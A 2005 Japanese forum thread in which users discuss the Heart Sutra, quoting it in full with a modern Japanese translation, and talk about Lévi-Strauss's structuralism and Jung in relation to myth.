  何故、レヴィ=ストロースを出したというと、八百万   様は神話に御興味を示していますし、かつまたお詳しいようなので。

  レヴィ=ストロースの神話論は、面白いよ。構造主義というのはいまも影響しているようです。

  >無意識の意識と言う事なのでしょうか?<

  そういえると思います。
  彼はフロイトからの影響が深いから。

  僕は「造詣」が深い割にはなにも分かりませんよ、本当。

  でも「造詣」が深い・・・と自分でも思いたい。

>般若心経

投稿者: kee_tarou 投稿日時: 2005/06/16 01:04 投稿番号: [17966 / 21882]
座禅してたら

小学校の遠足の時、近所のカヨちゃん
から借りた10円の借金をおもいだしました。



座禅して人が佛になるならば・・

>般若心経

投稿者: asian_falcon2005 投稿日時: 2005/06/16 00:57 投稿番号: [17965 / 21882]
>梵と我が一如となれば解脱できましゅ。

そういう状態に到達したいけど
なかなか煩悩から逃れられないなぁ〜。

反省

般若心経

投稿者: dream_hydrangea_serrata 投稿日時: 2005/06/16 00:46 投稿番号: [17964 / 21882]
摩訶般若波羅蜜多心経

観自在菩薩   行深般若波羅蜜多時

照見五蘊皆空   度一切苦厄   舎利子

色不異空空不異色   色即是空空即是色

受想行識   亦復如是   舎利子

是諸法空相   不生不滅   不垢不浄   不増不減

是故空中   無色無受想行識   無眼耳鼻舌身意

無識声香味触法   無限界乃至無意識界

無無明   亦無無明尽   乃至無老死亦無老死尽

無苦集滅道   無智亦無得   以無所得

故菩提薩捶   依般若波羅蜜多

故心無圭礙無圭礙   故無有恐怖

遠離一切顛倒無想   究竟涅槃三世諸仏

得般若波羅蜜多故   得阿耨多羅三藐三菩提

故知般若波羅蜜多

是大神咒   是大明咒   是無上咒   是無等等咒

能除一切苦   真実不虚故

説般若波羅蜜多咒   即説咒曰

羯諦   羯諦   波羅羯諦

波羅僧羯諦   菩提薩婆訶

般若心経


観音菩薩は甚深なる智慧の完成を修行し、一切の存在するものの五つの構成要素は実体のないものであると見抜かれ、更に一切の苦悩や災厄を取り除かれた。

シャーリプトラよ。

この世においては物質的現象には実体がないのである。

また、実体がないからこそ物質的現象なのである。

実体がないといっても、それは物質的現象を離れてはいない。

同様に、感覚も、表象も、意志も、六種の認識も、すべて実体がないのである。

シャーリプトラよ。

この世の、すべての存在するものには実体がないという特性がある。

生じたということもなく、滅したということもなく、汚れたものでもなく汚れを離れたものでもなく、増すということもなく、減るということもない。

故に実体がないから、物質的現象もなく、感覚もなく、表象もなく、意志もなく、知識もない。

眼もなく、耳もなく、鼻もなく、舌もなく、身体もなく、心もなく、かたちもなく、声もなく、香りもなく、味もなく、触れられる対象もなく、心の対象もない。

眼の領域から意識の領域にいたるまでことごとくないのである。

迷いもなく、迷いがなくなることもない。

ついに、老いも死もなく、老いと死がなくなることもないというのである。

苦しみも、苦しみの原因も、苦しみを制することも、苦しみを制する道もない。

知ることもなく、得るところもない。

それ故に、得ることがないから、諸の求道者は智慧を修して心にわだかまりがない。

心をにわだかまりがないから、恐れがなく、世俗の心を遠く離れて永遠の平安に住している。

過去・現在・未来の三世に亙る諸仏は、すべて、智慧の完成に依って、この上ない正しい目ざめを覚り得られた。

それゆえに人は知るべきである。

智慧の完成の大いなる真言を。

大いなるさとりの真言を、無上の真言を。

無比の真言はすべての苦しみを鎮めるものであり、偽りがたいから真実であることを。

その真言は、智慧の完成において次のように説かれた。

曰く、

往ける者よ、往ける者よ、彼岸に往ける者よ、彼岸に全く往ける者よ、悟りよ、幸あれよ。

ここに、智慧の完成の心が終わった。

----------------------------------------------------------

梵我一如
梵と我が一如となれば解脱できましゅ。
そのために修行を積みましゅ。
座禅もヨガも同じ。

wangjunhe720さん

投稿者: asian_falcon2005 投稿日時: 2005/06/16 00:36 投稿番号: [17963 / 21882]
>でも、詳しいね、すご〜い。ちゃんと読んでいましたね。

いや、ただ家が檀家なだけなんで(^^;。
耳で覚えているので発音も間違っていたりしてます。

誤)ぎゃぁてい
正)ぎゃてい

住職から貰った教典を初めて読みました。
一応これでも仏教徒(笑。

でも、歩くか馬などに乗るしかなかったあの時代に
教典を得るために旅をした玄奘三蔵の熱意には
ただただ頭が下がります。


>普通、八種類の漢文訳のある中、一番流布しているのは、玄奘三蔵の訳だそうです。

八種類もあったんですか。知りませんでした。
玄奘三蔵の訳文が日本では一番流布していることは知っていましたが…。


>後、その「僧」の字は経文にあっても、唱える時にはただ、

  「ぎゃぁていぎゃぁてい、はらぎゃぁてい、はらぎゃあてい」

  という場合あるらしい。   <

これも知りませんでした。近所に真言宗のお寺がありますから
住職に聞いてみましょうか?

聖職者ですから「お経について教えてくれ」と言えば宗派に
関わりなく答えざるを得ないはずですから(笑。

よこぉ:レヴィ

投稿者: dream_hydrangea_serrata 投稿日時: 2005/06/16 00:17 投稿番号: [17962 / 21882]
悲しき熱帯わ   ちと   古いかも。

http://www.obako.or.jp/k87/Lectures/Lec11/lec11.html

(〃^∇^)o_彡☆あははははっ

わかんない。。

wangjunhe720様

投稿者: yaoyorozu666 投稿日時: 2005/06/15 23:48 投稿番号: [17961 / 21882]
wangjunhe720様は、本当に文学に造詣が深くていらっしゃいますわね。

>レヴィ=ストロース辺りはいかがですか。
勿論ユングも面白い。<
私、レヴィ=ストロースって初めて知りました。
構造主義・構造人類学って、面白そうですわね(^-^)
ただ、用語が難しくって(´~`)ξ
無意識の意識と言う事なのでしょうか?

私は単純に物語を楽しみ、思いを馳せるのが好きなだけですの。

無知で、申し訳ありませんm(_ _)m

>yaoyorozu666様

投稿者: wangjunhe720 投稿日時: 2005/06/15 23:21 投稿番号: [17960 / 21882]
  お礼を先に言います。

  本当にありがとうございました。具体的に言うと、すごく参考になる部分があるのです。

  手元には『神話与詩』という本があります。故聞一多氏の著書です。東洋文庫に日本語訳『中国神話』(?)も有ります。

  この本は、白川静さんや、イギリスのシェ・ファ?氏にも影響を与えたようです。

  僕は「和歌の中の神話」をテーマに考えてみようかと・・・思ってますので、大変助かりました。

  ついでにお聞きしますが、レヴィ=ストロース辺りはいかがですか。

  勿論ユングも面白い。

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